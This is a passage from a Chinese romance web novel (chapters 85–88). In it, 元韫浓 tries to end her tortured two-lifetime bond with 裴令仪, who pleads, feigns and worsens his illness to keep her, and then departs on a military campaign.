食盒里的莼菜羹也早就冷透了,在府上他先前做好的饭菜也该是冷得不能再冷。 马车忽然颠簸,元韫浓踉跄着跌进他怀里。 裴令仪的手虚虚护在元韫浓腰后,连衣料都不敢抓实。 元韫浓起身坐稳了,“嗯。” 照样的冷淡,她只是有些醉,但也没醉糊涂。 一路无言,唯有月色清寂。 醉宿一夜,元韫浓起床时头疼,也早有备好了的醒酒汤。 昨日里没吃上裴令仪做的饭,今日他也照旧做好了饭菜,等待元韫浓。 看这架势,是非要她吃不可了。 元韫浓看着裴令仪这执拗的模样,一时失言。 “我没胃口。”她闭了闭眼。 “不吃饭对身子不好的。”裴令仪低着头说道,“阿姊多少用一些吧。” 元韫浓睁开眼睛看着裴令仪,重复道:“我没胃口。” 裴令仪垂着眼睛,默不作声地攥紧了掌心,“阿姊若是真的不想吃我做的饭菜,我叫小厨房做些粥汤来。” 元韫浓没再说什么,而是疲惫地半合上眼,算是默认了。 于是裴令仪去吩咐底下人去小厨房做些粥汤来。 他看着元韫浓一小口一小口,勉强算是用完了半碗清粥。 “好了,现在可以了吧。”搁下碗筷,元韫浓有些麻木地说道。 裴令仪心脏猛烈地一缩,而后一阵钝疼袭卷。 半晌,他艰难道:“好……阿姊若是精神不济,便早些歇息吧。” 元韫浓便起身,又折回了屋内。 裴令仪蹙眉按住胸膛,想要压下心脏的钝痛,却无济于事。 他低眸看着已经冷透的饭菜,一个人坐在那里,端着碗筷吃完了这一顿。 他曾经是真的恨元韫浓,也是真的爱元韫浓。 就在前世,元韫浓对谁都会戴着那张假面,唯独对他不屑。 元韫浓甚至会将那种虚假的光投向任何一个人,却从未怜惜过他那片贫瘠的晦涩角落。 自顾自的美丽,无知无觉的生动。 可他唯一能做的,唯有趴伏在仇人身前,聆听教诲和辱骂,犹如丧家之犬。 元韫浓只是高高在上地,轻描淡写地瞥来一眼,瞥向为了一线生机而向敌人乞哀告怜的他。 只有像沈川、慕湖舟、慕水妃他们这样的人,才会站在元韫浓身边。 他嫉妒沈川的正直与清风朗月,他嫉妒沈川能如此顺理成章地迎娶元韫浓。 在得知沈川和元韫浓成婚的消息时,他都分不清那些愤慨、嫉妒、怨恨、悲哀里面,又或是更多东西里,有多少爱恨。 他想象他们交欢的场景,取而代之的念头在须臾之间萌发,若草木疯长。 凭什么沈川可以? 直到他或多或少明白了自己的心。 那时候的元韫浓已经成为了他的皇后。 可元韫浓依然不属于他,依然执着于沈川。 他爱元韫浓的清醒,又恨元韫浓的清醒。他爱元韫浓藤蔓般的依附,又恨菟丝子只是汲取养分,用完即弃。 所以重来一生,他真的奢想过什么都没发生,那面镜子或许就没有碎。 原来早就碎得拼不起来了。 但玉碎是玉的事情,裴令仪不能放弃拼凑。 他依然重复着一样的举动,哪怕得到的都是元韫浓的拒绝。 这个过程甚至让元韫浓有些倦怠了。 她受够了每天看着裴令仪这一副脆弱又落寞的模样,折磨彼此。 裴令仪时常自己下厨,但是做好的饭菜总得不到元韫浓的好脸色,元韫浓少有会去吃他做的,到最后都是他一个人默默地坐在那吃。 元韫浓默然地看着裴令仪在桌上摆最后一道翡翠虾仁,旁边的酱汁还是按她前世口味调,琥珀色里浮着碎冰。 分明她没有给出任何表示,但裴令仪依旧可以不厌其烦地演这个独角戏。 “阿姊尝尝这个吧,是我新学的。”裴令仪剥开荷叶糯米鸡,“我叫人试过了,味道也还过得去的。” 元韫浓凝视着裴令仪的双眸,终于下定了决心。 他们的两世怨侣,又何必呢? 再继续下去,又何必呢? 重来一世,为什么不能放过彼此呢? 难道重活一世,还要走这样的老路吗? 亲吻的时候分不清爱恨,维护彼此的时候都说不出是不是因为多年以来的陪伴。 撕扯开旧伤疤后流了一地的血,痛成了那样还是没办法舍弃彼此。 这样身心俱疲,又何必呢? 元韫浓终于在这一刻决定,结束这场旷日持久的拉扯。 “我们算了吧。”她说道。 裴令仪僵住了,不可置信地看向了她。 她怎么能说得这样风轻云淡,好像他们相伴的几千几万个日夜,好像他们所有的过去,都不值一提,不值一嗔,不值一哂。 “阿姊,你说什么?”裴令仪仿佛压抑着什么汹涌的情绪,骨节捏得发白。 元韫浓重复了一遍:“我说,我们就算了吧。” 她垂下眼睛,“就当我们两不相欠。” “我绝不允许,元应怜。”裴令仪回望向元韫浓漂亮又绝情的眼睛,咬着牙一字一顿道,“阿姊,除非我死。” 他抑制不住地发抖,元韫浓怎么能那么说? 他们纠葛了那么久,再坏也该向前世那样,或是亲手杀死对方。 而元韫浓怎么能说算了?怎么能说两不相欠? 他们合该互相亏欠。 “那你想怎么样?一起死吗?”元韫浓问道,“去阎罗殿上,叫阎王判判,是谁欠谁多些吗?” 她讽刺般笑了一下,“两世纠缠,无一善果,还不够吗?” “三生也不够。”裴令仪却执拗道,“就算是到黄泉碧落,我也不会放手。” “疯子……”元韫浓凝视着裴令仪蹙着眉,摇了摇头。 “阿姊若是不想要这样的孽缘,倒不如就此了结了我吧。”裴令仪引着她的手摸向自己的胸膛,“阿姊可以再来一次,往这里刺,指不定我化为幽魂就不能缠着阿姊了呢?” 一道似是寒芒的微光映着他温柔眉眼,元韫浓看着他,知道他说的话都是真的。 “你及时地死去了。”元韫浓的睫毛颤动了一下。 裴令仪微微一怔。 “你及时死去了,不必再反复咀嚼苦涩。”元韫浓抬眸望向裴令仪,“那我呢?” 她的脸色苍白得像是一张脆弱的白色绢纱,“你把我拖拽进这个牢笼里,自己却早早地抛下我走了,你有想过我吗?” 裴令仪哑然,失去了声音。 元韫浓说:“你自以为是地,非要把我留在权欲的中心,要我陪你困在那个压抑的牢笼里。” “然后你就自以为为我安排好了一切,潇洒离开了。” “你想过我吗?” “慕湖舟、我的爹娘还有我的二姐,我的故友,都死了,沈川和慕水妃走了,当时在京中我只剩下了我阿兄。” “哈,什么虞兮虞兮奈若何?你根本就没有真的想过我。” 裴令仪摇头,“不是,不是的,阿姊不恨我吗?如果那么苦,我死掉难道不才是对阿姊最好的吗?” “那你为什么要活过来?又或者说,你为什么重来一生以后,还不愿意放手?”元韫浓反问,“如果你真的那么想,放手难道不才是更好的吗?” 她说出前世裴令仪死前的话:“这样就不苦了,清都,我不苦了,你也不苦了。” 裴令仪只是摇头。 他握着元韫浓的手腕,眼睛里闪着泪光,“我不放手……” 元韫浓看着他,眼眶泛酸,“清都,你真的爱我吗?” “真的不是想要有人陪你,把我当成禁脔吗?你有没有想过,你或许只是怕一个人。”她轻声问,“所以之前是水妃姐姐,现在是我。” “不是的,前世我感恩她对我的善意。”裴令仪还是摇头,像是不知道该说什么,不知所措了一样,“我爱你,我真的爱你,从头到尾爱的都是你……” 他尾音都带着颤抖:“阿姊,你相信我,我求你再给我一次机会……我们重新来过好不好?别丢下我……” 元韫浓闭了闭眼,眼下一处痣如点漆,犹若星辰碎光,“我没打算丢下你,我们已经捆绑得太深了,我只是不想再和你这样彼此伤害下去了。” 对于她来说,她重活一世却向最落魄的裴令仪伸出手,除了考虑过出路以外,无法忽略的是那一抹恻隐之心。 她的选择只有慕湖舟和裴令仪,而慕湖舟终究有齐家的血脉,背后是太后他们。 所以她又扶持了裴令仪,来保证第二条出路。 到了现在,元氏已经和裴令仪捆绑得太深了。 元韫浓也无法否认,她不只是恨裴令仪。 只是爱恨都模糊了。 两世了,她累了。 第86章 求你 “你骗我,你就是想要丢下我……”裴令仪含在眼眶里的泪水终于落了下来,“你就是想要不管我了,你就是不要我了!” 在元韫浓面前,他习以为常地自轻自贱,自怨自艾。 说到爱,他想到的是元韫浓。说到恨,他依然想到元韫浓。 无论生死,他想的都是元韫浓。 人生百年,他所活不过短短几十载,他被规训被束缚,被期待被怨恨的一生。 元韫浓是他为自己而活的一瞬。 元韫浓不爱他,元韫浓只爱他陪伴自己坠落,那种唇亡齿寒的连带感。 所以元韫浓觉得他也是这样。 但他不是,他怎么能还不看清自己的心? 他们分明从未分离过,可也从未真正在一起过,经年之后又算是真正意义上的重逢。 偏问此恨浓不浓。 “阿姊恨我吗?要是恨我,别用这种方式罚我好不好?你可以打我,骂我,杀了我也好……别不要我……”裴令仪哽咽得不行。 他只是握着元韫浓的手,像是握住了救命稻草,“是我当狗当得不好吗?还是阿姊不需要我做刀了?” 元韫浓近乎绝望地看着眼前哭泣的裴令仪,她到底该拿裴令仪怎么办? 妄图用死亡去拴住别人的人实在是恶毒至极,可怕至极。 同时又可怜至极。 裴令仪终于崩溃般跪倒在地,他环抱住元韫浓的腰哀求:“求你……阿姊,求你了……” 元韫浓低头看着裴令仪,裴令仪将脸埋在元韫浓的腰腹间,肩膀在细微地颤抖。 元韫浓的指尖拂过裴令仪的鬓发,轻声道:“清都,不要自苦啊……” 风里裹着枯叶与霜花的气息,廊下铜铃被吹得叮当作响,惊起檐角栖息的寒鸦,扑棱棱掠过蒙着薄雾的天际。 裴令仪还是跟在岐国公府里一样喜好声乐,爱惜花木,所以清河王府也一样廊下系铃,惊吓鸟雀。 但是也跟岐国公府一样,鸟雀照旧来。 元韫浓看向窗外,早已经是百花落尽。 冬天要来了。 “清都,要冬天了。”她阖上了眼睛。 大惊大恸之下,元韫浓这病殃殃的身子还没倒下,裴令仪先病倒了。 这一下裴令仪病得很厉害,清河王党派的人虽然不至于一下子群龙无首,但在关键时候也有些人心浮动。 有不少僚属对元韫浓愈发不满。 但偏偏这时候也只有请元韫浓去主持大局。 虽然有些人不认为元韫浓能胜任,但是请元韫浓主持大局的还是占多数。 为首的是孙鹃纨之流。 元韫浓挑起大梁并非难事,但她本也一直大病小病不断,身体也不大好。 只是如今裴令仪急病病倒,两相对比,她还算可以而已。 孙鹃纨如今是一阵心惊胆战,元韫浓前不久可还跟她说不会耽误了大业,不会牵扯到他们做僚属的呢。 如今可好了,其中一个病倒了。 她生怕元韫浓和裴令仪再出什么问题,那他们可以直接崩盘了。 所以元韫浓看呈文禀帖时候,孙鹃纨恨不得细致到批注也替她做了。 “你那么紧张做什么?”元韫浓斜睨了孙鹃纨一眼。 孙鹃纨道:“我的好郡主啊,你跟殿下两个人再出什么问题,我可扛不住了,我心脏扛不住。” “你有什么扛不住的?你这不是就抗住了那些人给的压力,把我推了上去吗?”元韫浓头都没抬一下。 “真的啊,我是真的快吓死了啦。”孙鹃纨笑着凑到元韫浓身边,“我可不想一下子就失去两个主子,你俩这下子,大厦将倾的感觉也太浓重了,搞得不少人心里慌慌的。” 这是真的,一下子倒两个首领,还在这个象征着岐国公府和清河王府自为一体的两个。 孙鹃纨是僚属当中在裴令仪和元韫浓面前表现得最随意的那个,说是没规没矩,实际上是有恃无恐。 毕竟就算是在整个京华里,有她能打的没她脑子灵光,有她聪明的没她能打能杀。 而且元韫浓怎么看都更喜欢她。 做僚属到了这份上,孙鹃纨自己都相当骄傲。 她打量着元韫浓的神色说道:“我听说殿下那头实在是不怎么……” 话还没说完,元韫浓就凉飕飕地瞟了过来。 “咳……”孙鹃纨轻咳一声掩饰尴尬。 元韫浓收回了视线,继续看禀帖。 但孙鹃纨还是耐不住自己的好奇心,过了片刻,又凑上去拖长了调子道:“郡主——透露一点当时发生什么事吧——” “没什么,算是我原谅他了。”元韫浓语气平淡。 孙鹃纨看元韫浓的表情,怎么看怎么不像是说两个人和好了的样子,反而好像是打算放下了。 凭借多年以来看画本子的经验,再加上伴君身侧近,孙鹃纨觉得,这两人恐怕是元韫浓想放弃了,裴令仪死活不肯。 被裴令仪寻死觅活一闹,元韫浓虽然没有彻底跟裴令仪掰了,但依旧维持了单方的疏远和冷淡。 至少还没彻底闹掰,元韫浓对裴令仪还是会心软的。 孙鹃纨突然又觉得裴令仪这场病生的正是时候了,苦肉计这不就顺理成章上来了吗? 她眼睛一亮,立刻顺杆而上,“既然原谅他了,不如去看看他吧?” “我又不会治病,去了干嘛?”元韫浓并不揭穿孙鹃纨就是想要她去关心一下裴令仪。 “那不是底下人猜测不已,众说纷纭的,郡主去了,好止住流言蜚语啊。”孙鹃纨这话说在了元韫浓的心坎上。 的确,搞得如此人心惶惶的,太影响了。 元韫浓眸光闪动了一下,没说什么。 裴令仪那边虽然是病了,但还是在看呈文禀帖,处理事务。 他不能让元韫浓一个人受那么多,也得处理好那些对元韫浓反对的声音,减少元韫浓的阻力。 总不能让元韫浓为他受苦。 “主子,该进药了。”裴九捧着漆盘过来,身后还跟着大夫。 裴令仪目光扫过浓黑的药汁,随手将手里的禀帖掷进炭盆,“那几个老东西看我病了,就又开始兴事,给阿姊找事,当我是死的不成。” 大夫向裴令仪行礼,替他诊脉。 裴令仪没有碰药,而是问:“阿姊有提起过我吗?” 裴九犹豫了片刻,说实话:“没有,孙鹃纨在郡主面前提了一嘴,郡主反倒是瞧着不大高兴。” 裴令仪的表情低落下来,他顿了顿,对大夫道:“不必诊了,你出去,等阿姊来了你再过来诊,有多惨说多惨。” “啊?”大夫瞠目结舌,怀疑自己听错了。 他下意识去看旁边的裴九,却发现裴九也是一副吞了苍蝇的表情。 “主子,再这样拖下去会病得更严重的啊,就算不为了大业着想,也该为自己着想啊。”裴九劝道。 “休要多言,孤自有用意,下去。”裴令仪决绝道。 大夫只得退出去。 元韫浓的云头履碾过零落成泥的落花时,裴令仪院子里的人看见元韫浓的身影,登时警铃大作。 就元韫浓之前的冷淡表现,没有人知道她是来探病的,还是只是路过。 “郡主……”老大夫被迫拦在了廊下,对元韫浓赔着笑脸,“王爷高热三日,药也喝不下……” “跟我讲有什么用?”元韫浓冷淡道,“又不是三岁小儿了,喝不下药难道要我去哄吗?” 她瞥见窗内人影时滞了半步,裴令仪散着发伏案疾书,肩头大氅滑落在地,露出脖颈渗血的纱布。 那道伤似乎一直好不了,结痂了又裂开,反复流血。 裴令仪是不怎么畏冷的人,现在才初冬就披上大氅了? 孙鹃纨也在旁道:“郡主去瞧瞧他吧,他等郡主很久了。” 她被元韫浓瞥了一眼,又不敢说了。 但元韫浓还是迈入裴令仪的房门。 “阿姊……”裴令仪看见元韫浓的身影,眼底闪过一丝惊喜,立刻起身来迎。 只是元韫浓看着心情不愉,面无表情地看着裴令仪。 “滚出去。“她冷声道。 裴令仪一怔,睫毛一颤,还是低着头出去了,“……好,阿姊别生气。” 他就要和元韫浓擦肩而过,却听元韫浓道:“没让你滚。” 裴令仪愣了愣。 “你自己的屋子,滚什么?”元韫浓问。 意识到是让自己滚的裴九和孙鹃纨高兴地滚了出去,把私下的时候都留给了元韫浓和裴令仪。 虽然孙鹃纨有些心虚,毕竟元韫浓来之前,她把裴令仪描述得病入膏肓,结果元韫浓一来裴令仪还在那里奋笔疾书。 但是元韫浓留下来了,她这点牺牲也不算什么。 “阿姊来探望我……”裴令仪语气里都带着欣悦。 元韫浓却略过他走向了书案边,目光扫过书案上的军报,似乎是城东那边。 裴令仪微笑着将急报塞进炭盆,火舌吞没情报,“小事而已,阿姊无需忧心,我会处理好的。” 他撑着案几,面色苍白,“阿姊想要的,很快……” 话音未落,裴令仪便栽进元韫浓怀中。 元韫浓下意识伸手接住他,却发觉他体温烫得心惊。 “叫大夫来!”元韫浓立刻朝外头喊。 “不必了……”裴令仪攥住她的袖口,“我只是有些……” 窗外风愈急,元韫浓忽觉臂弯一沉,“你……” “没事……咳咳咳!”裴令仪咳嗽起来,半靠在元韫浓怀里,“小病而已,很快就好了,阿姊还是离我远些吧,省得过了病气……咳咳咳……” 他一面说,一面咳,咳出了血。 “别说话了!”元韫浓怒道。 裴令仪乖乖闭上了嘴巴。 大夫着急忙慌进来时,裴令仪伏在元韫浓膝头,状似虚弱不堪。 元韫浓起身,示意大夫诊脉。 她望着刚刚因为裴令仪咳血,而被血浸透的呈文。 她对刚刚滚出去又因为裴令仪咳血而被叫回来的裴九和孙鹃纨说:“把西营军的岗哨换了,他们对京华东边不熟。” “是。”孙鹃纨应声。 大夫搭上裴令仪的腕子,胡子直抖,“王爷这是陈年寒症入髓,旧伤又添新伤,兼有心脉郁结,忧思过甚……” 元韫浓倚着紫檀花鸟屏风,指尖漫不经心拨弄着穗子。 炭火将熄未熄,在她眼底映出两点冷星。 裴令仪虚虚拢着衣襟的指尖发青,偏还要朝屏风后笑,“阿姊莫听这老儿胡沁……咳咳咳!” 话未说完便又咳嗽起来,帕子上赫然一团黑血。 元韫浓看着微光将裴令仪苍白的侧脸映成半透明。 她在旁踱步,裙裾扫过地面,云头履停在床边,问了一句像是诅咒的话:“还能活几年?” “郡主!”大夫吓得赶紧跪下,伏地不敢言。 这问的什么话啊,仿佛是巴不得裴令仪死一样。 裴令仪却支着肘慢慢坐起,柔和地笑了笑,“阿姊放心,我问过钦天监,他们说今冬雪大,我能陪阿姊看雪的。我这回,必然不会早早死在阿姊前头了。” 这像是保证一样,前世他油尽灯枯而亡,今生他不会叫元韫浓看着他死了。 元韫浓垂眸,见裴令仪那副逆来顺受的模样,抿了抿唇。 “手拿来。”她忽然坐下。 裴令仪却将手藏进袖中,“脏……” “别让我重复第二遍。”元韫浓冷声道。 裴令仪只好乖顺地伸出手,他手上还有刚刚咳血时还未干涸的血迹。 元韫浓拉过裴令仪的手腕,看向大夫,“寒毒能施针逼出来吗?” 大夫愣了愣,“可以是可以,就是会疼痛难忍,还是喝药慢慢调理的好,温通经络,散寒止痛……” “除了痛,还有别的不好没有?”元韫浓打断了他,问。 大夫摇头,“没有了。” “他还忍不住这点痛吗?你只管施针,省得他喝点药还要推三阻四,要你们求着我来管。”元韫浓道。 大夫听得一愣又是一愣,再看向裴令仪。 裴令仪似乎没有异议,还双眸亮晶晶地看着元韫浓,似乎对元韫浓这种异样的关心十分欣喜。 孙鹃纨和裴九对这一幕也是没眼看。 元韫浓又把裴令仪的手往外拉了一些,“你施针吧,其余的慢慢调,先把寒症解决了。” 大夫只得照做。 第87章 身后事 “阿姊……”裴令仪软声喊道,轻轻握住元韫浓的手,像在撒娇。 元韫浓见大夫要施针了,便没有动。 大夫捻着银针一根根刺入穴位,裴令仪疼得咬破下唇仍强笑:“很疼啊,阿姊……” “闭嘴。”元韫浓冷静道。 大夫旋针三寸,裴令仪咳出一口血,额角渗出了冷汗。 后面他也没再喊疼了,也似乎是喊不出来了。 他握着元韫浓的手在发抖,却也没舍得用力。 大夫的银针在裴令仪腕间颤出细芒,裴令仪仰颈喘息着,喉结滚动,咽下了痛声。 汗湿的额发黏在脸上,倒显出几分少时的脆弱。 大夫收针,自己也擦了把汗,总算是结束了。 他都怕裴令仪被痛晕过去,后面算账。 元韫浓见大夫收针,也从裴令仪手里抽回手。 裴令仪却突然抓住她的手,“阿姊。” “装什么?”元韫浓反手甩过去,那一巴掌并没用多大力,却甩得裴令仪歪倒在枕上。 裴令仪顺势将脸埋进她掌心,呼出的气息灼着掌心那道浅淡的旧伤疤,“那日阿姊说冬天要来了,我便想着这回要和阿姊好好赏雪,我们已经好几年没有一起好好看过雪了……” 元韫浓瞥了一眼裴令仪,又看向大夫,“怎么样?” “寒毒已清,只是剩下的还得慢慢养回来。如今若是再辅以天山软紫草,怕是事半功倍啊。”大夫说道。 “去国公府取。”元韫浓向孙鹃纨吩咐道。 裴令仪轻咳一声,屈指叩了叩床沿。 裴九立即向外招呼,底下人立刻抬进来一金箱,一翻开盖子,里边满箱的紫草。 “原是要留给阿姊制胭脂的,留给我入药是可惜了。”他苍白的指尖抚过紫草。 立刻有人根据大夫写的药方下去抓药煮药,不消片刻,便有人捧来汤药。 裴九把药递到裴令仪手边,裴令仪推开药碗。 他湿漉漉的眸子映着元韫浓漂亮的脸,黛眉半弯,眼睫如羽。 “做什么?”元韫浓冷淡地问。 裴令仪小声说道:“阿姊能不能别恼我了?” 元韫浓却凝视着他,“你是真病得不能理事了?” “真的。”裴令仪虚弱地点了点头。 “礼部今晨递了女科章程。”元韫浓从袖中抽出一本折子,将奏折掷在药碗旁,“共计二百六十条,还真是辛苦了清河王删改。” 裴令仪立即指向孙鹃纨道:“是她改的。” 孙鹃纨一愣,随即元韫浓朝她看了过来,她顿时被那一眼看得毛骨悚然。 她腹诽裴令仪不厚道。 她费尽心思把元韫浓往裴令仪那推,君臣心连心。 裴令仪倒好了,给她动脑筋。 要是被元韫浓知道这是假的,她跟裴令仪都吃不了兜着走。 但是这会要她矢口否认也照样完蛋,孙鹃纨只能朝元韫浓讪讪一笑。 “不是鹃纨改的,是你改的。”元韫浓冷声道,“谎话也该过过脑子。” 她道:“你批注的那一句‘应向庙宇讨令权’是从我先前写给女幼的书信里引的,那封书信鹃纨没看过,只有你跟女幼看过,而且只有你会临摹我的字迹。” 裴令仪学她的字迹,甚至连那笔败锋都描摹得分毫不差。 裴令仪的瞳孔微微一缩,随即又软下来,化作一池春水:“阿姊若是嫌章程繁琐了,明日我便让翰林院重拟……” “不必。”元韫浓望着药汤,汤面倒映出她无波无澜的眉眼,“清河王这苦肉计,演得比收复锦州还卖力。” 裴令仪忽然攥住她的手腕,力道虚浮得像握住一捧细碎的雪,握在掌心里冻人,握紧了又怕化了。 “阿姊是又想走了吗?”裴令仪期期艾艾地问,“我是不想太劳烦阿姊,这才想着处理好,我不是故意的。” “那也和我没有关系了。”元韫浓道。 她的冷漠仿佛比刀剑更伤人,裴令仪顿时泪盈于睫。 “你若是不想吃药,那便要大夫施针。活了那么久了,难道连喝药也要我来哄吗?”元韫浓转身离开。 “活得长不长久,身子好不好,那都是你自己的事情。”她掀帘时顿了顿,“别总想着用这种手段,来讨我怜惜。” 风雪卷走尾音。 裴令仪忽然剧烈呛咳起来,血浸透枕畔。 他没有动容,而是将汤药浇在炭盆里。 “滋滋”声响起,混着中药特有的苦涩气息扑面而来,白烟升腾。 裴九和孙鹃纨不可思议地看着裴令仪的举动,“殿下!” 孙鹃纨一阵无言,裴令仪和元韫浓这两人真的是绝配,都疯得可以,尤其是裴令仪。 “郡主不是说了让你好好喝药吗?”孙鹃纨无力道,“殿下就听郡主的话吧。” 炭盆里的火焰渐渐熄灭,只剩下袅袅青烟。 裴令仪平静地收回了药碗,“若苍天怜我,便能教我多瞒住阿姊片刻。能让阿姊怜我,迟些好又如何?” 窗外枯枝簌簌,裴九焦急道:“可是城东……” “只是小病而已,就算是残废了,我也拿得下齐家和白家那群魑魅魍魉。”裴令仪冷声道。 看裴令仪神情,他们不敢再言。 元韫浓回到屋中,心绪尚未平静。 没过多久,孙鹃纨也回来了。 她掀帘进来,“郡主。” “我要听实话。”元韫浓说。 孙鹃纨叹气:“把药倒了,不肯喝。然后处理完了公务,就一直在那里拼那枚玉。” 见元韫浓皱眉,孙鹃纨犹豫了一下,说:“裴九说他梦里有呓语,说疼。” 元韫浓:“……” 只剩下沉默,而她又还能说些什么呢? 梦里当然也不安稳,裴令仪在剧痛中惊醒时,却看到元韫浓正在书案边看呈文,眉眼静谧。 犹如飞琼一般,一团花貌玉脂凝。 简直像是做梦一样。 “阿姊!”惊喜和异样的安心塞满了心脏,裴令仪挣扎着翻身下床,赤足扑到了元韫浓身边,抱住了她的腰。 单衣领口松垮,露出身上的疤痕。 “阿姊……”他声音轻软,却又有些颤抖。 搁在一边的药汤还升腾着热气。 “闭嘴。”元韫浓将药碗怼到裴令仪唇边,“喝药。” “你这条命是我的。”蒸腾的热气模糊了元韫浓眼底一抹亮泽的水光,“要死也得等一切太平了再死。” 裴令仪乖顺地喝了药。 他把着药碗,小心翼翼地抬眸看了一眼元韫浓。 “军报。”元韫浓甩出密函,“怎么不告诉我?” 裴令仪扫了一眼军报,就着烛火烧毁信笺,灰烬落在他颤抖的指尖,“国公他们目前维持得很稳,粮道通了,后续只要京中不起事,他们定然会平安回来的。” 寒风掀开半掩的窗,元韫浓起身去合上,“我说,为什么不告诉我?” 裴令仪沉默片刻,“我怕他们回来,阿姊就急着回去,不肯见我了。” 炭盆噼啪作响,元韫浓眉心一跳。 “阿姊别生气,我只是怕阿姊……”裴令仪轻声说道。 元韫浓打断了他,“够了,我不想听。” 裴令仪沉默了。 元韫浓的视线落在裴令仪掌心被燎出的焦痕上,想到孙鹃纨说裴令仪一直在尝试烧了金银来镶嵌修复白玉圆月坠子的碎玉。 裴令仪抿着笑将手往身后背了背,“阿姊想要的,我很快就能做到了。” 元韫浓想要的东西,想要做的事情,那都是冒着杀头的危险的。 她顿了顿,瞥见未合拢的匣子最上方那份罪己诏,是裴令仪亲笔写的所有罪状,做过的、没做过的、即将要做的罪,都在上边了。 “这就是你的很快就能做到?”元韫浓冷声问。 她抽出了那份罪己诏,“想着留一后手,万一失败了,将罪责全揽到自己身上,保我后路?” “是我自己要改朝换代,总不能连累了阿姊。”裴令仪低着头。 元韫浓嗤笑:“然后你就再轻轻松松去死,留我一个人替你料理身后事?” 裴令仪哑然,他在元韫浓面前缓缓跪了下去,轻轻拉了一下元韫浓的裙摆,“我不敢。” 元韫浓皱着眉,难言地看着他,“疯子。” “阿姊不喜欢,我就烧了。”裴令仪立马将那份罪己诏烧得一干二净。 “齐家和白家最近在城东有异动,我要带人去勘查压制。”裴令仪又垂下了眼睑,“阿姊……阿姊在京中……” 元韫浓轻轻“嗯”了一声:“你留了那么多人,总不会出事的。” 裴令仪低着眼眸,“我把裴七和孙鹃纨也留下来吧。” “三个副将你留两个给我,未免有些太大材小用了。”元韫浓道。 “那我留孙鹃纨下来吧,阿姊更喜欢她。”裴令仪说道。 “你留裴七吧,鹃纨更聪明些,她比裴七裴九更懂世家那些勾当。”元韫浓却说。 她瞥了一眼裴令仪身后的裴九,“你带裴七裴九一个很不高兴,一个没有头脑去,除了杀人管什么用?” “没有头脑”听了神情不岔,很不高兴。 裴令仪带了些细微的笑意,点了点头,“好,那我就留裴七下来。” 元韫浓应了一声,便不说话了。 实际上还有一个缘由在里头,是她近来甚少看见裴七。 裴令仪也没有额外派遣裴七去做什么任务,除了本职以外她却不怎么看见裴七,跟先前不一样。 元韫浓觉得裴七可能有什么不对的地方,若是被裴令仪带到生死一线的敌对场面去,唯恐出事。 但是留在她这里,她在京中暂时不会出什么大事情。 就算有人趁裴令仪不在起了异动,剩下那么多人自保也绰绰有余了。 留下裴七,她也能趁着这个机会查清楚,裴七到底有没有异心。 见元韫浓又不说话了,似乎是不想和自己多谈,裴令仪眸光黯淡片刻。 他轻声道:“那……我便不打扰阿姊了。” “嗯。”元韫浓起身,“这是你屋子,你倒是要先走了?” 裴令仪反应过来,“我送阿姊回去吧。” 元韫浓淡声道:“躺着吧,清河王府又不是没人了,这点路也要送。” 语罢,她便朝门外走去。 推开门扉,她突然听到裴令仪的声音从背后响起:“阿姊。” “水晶兰开了,阿姊。”裴令仪轻声说道。 元韫浓微微一怔,许久之后才想起始末来。 曾经陪她去花市时候随手买下的花种,裴令仪说要种出花来送给她,最后能叫她拿去斗花草。 可是却连芽都没有萌发,为此他还低落了相当长的一段时间。 当时的元韫浓只觉得裴令仪很像这种花,从阴森荒凉的腐败之地生长出来的白色幽魂,苍白剔透。 时隔那么多年,居然开花了吗? 她听说过水晶兰开花时在八九月,裴令仪又使了什么手段? 元韫浓的脚步微微一滞,“是吗?那很好啊。” 随即,便不再停留。 裴令仪用手背轻轻挡住了脸,元韫浓还是一如既往的残忍。 简直就像是梦一样,突然间的犹如在云端,又再次被摔进泥泞里。 可他偏偏喜爱元韫浓的残忍,这是元韫浓的天性。 人是软弱且卑鄙的,会妥协,会自圆其说,会自欺欺人。 所以他会爱上元韫浓这样暴虐的美人,并为元韫浓的冷漠与残忍涂抹上昂贵瑰丽的墨彩,高供庙堂。 或许他就是欠虐,喜欢着元韫浓刺痛他的字眼,迷恋着元韫浓对他的厌倦。 没有喜爱温暖的阳光,而是痴迷不悟地爱上了那样的不见天日。 这回裴令仪带兵离开,元韫浓没有去送他。 临行前裴令仪在府门口站了好久,都没有等到想要等来的人。 裴令仪不知道摸向袖袋,里边装着元韫浓及笄那年送他的永生花,蕊心的玉石温得发烫。 裴九忍不住道:“殿下,再不走天色就暗下来了,恐误了军机啊。” 战马打了个响鼻,裴令仪拍了拍舞阳儿的脖子,“别吵。” 亲卫们面面相觑。 谁都知道这匹马是朝荣郡主昔年所赠,裴令仪平日里是宝贝得不行。 “咳。”孙鹃纨轻咳一声,“殿下,郡主应该真的不会来了。” 看着跟个望妻石一样的裴令仪,她没忍住说实话。 雪粒子砸在铁甲上,铠甲折射出冷冽的光。 裴令仪似乎很失落,肉眼可见的失望,垂下了睫毛。 这是元韫浓头一回没送他。 片刻之后,他道:“走吧。” 第88章 我错了 元韫浓当然知道裴令仪一直没走,就是等她过去。 但是她现在还不想去送裴令仪。 她无法做到轻易释怀,但也无法漠视裴令仪因她而癫狂的命运。 “郡主,孙副将求见。”霜降小步走过来,轻声说道。 元韫浓感到意外,她扬眉,“让她进来吧。” 小满将孙鹃纨引了进来。 元韫浓看向孙鹃纨,“怎么还不启程?一群人在府门外做什么呢?你现在过来,总不会是让我去送裴令仪吧?” “一直不走确实是殿下在等郡主来,但末将这会来,是来替殿下送东西来的。”孙鹃纨自己看着也有些尴尬。 她手上捧着一个鎏金漆盘,但她也不知道裴令仪临行这会把这些东西给元韫浓干什么。 她只认得一样白玛瑙耳坠和一样白玉项链,因为先前元韫浓都戴过。 当时元韫浓被北凉抓走的时候,庄且拿耳坠挑衅过裴令仪。 那条白玉项链更不必说了,圆月玉坠碎了,裴令仪天天搁那拼。 但是漆盘上还摆了一根簪子和一朵含着露的水晶兰。 孙鹃纨说:“殿下除了部曲以外,还留了暗卫,若是有什么事,郡主可以掷杯为号叫人。” 元韫浓凝视着漆盘上的东西,没有说话。 孙鹃纨受不了这样的沉默,“队伍将行,末将送完东西,这就要走了。郡主保重,末将告退。” 她小心翼翼地将漆盘放下,便讪笑着跑了。 小两口的事情她也不想再掺和了。 元韫浓看着那些东西,一时沉默。 被拼回去的白玉圆月项链,尽管能看出细纹,但也可见拼凑之人的用心之至。 还有那一对白玛瑙弯月耳坠,完完整整,原物奉还。 那时候做下的约定,哪天裴令仪想要求原谅了,便把耳坠还回来,求她念及旧情。 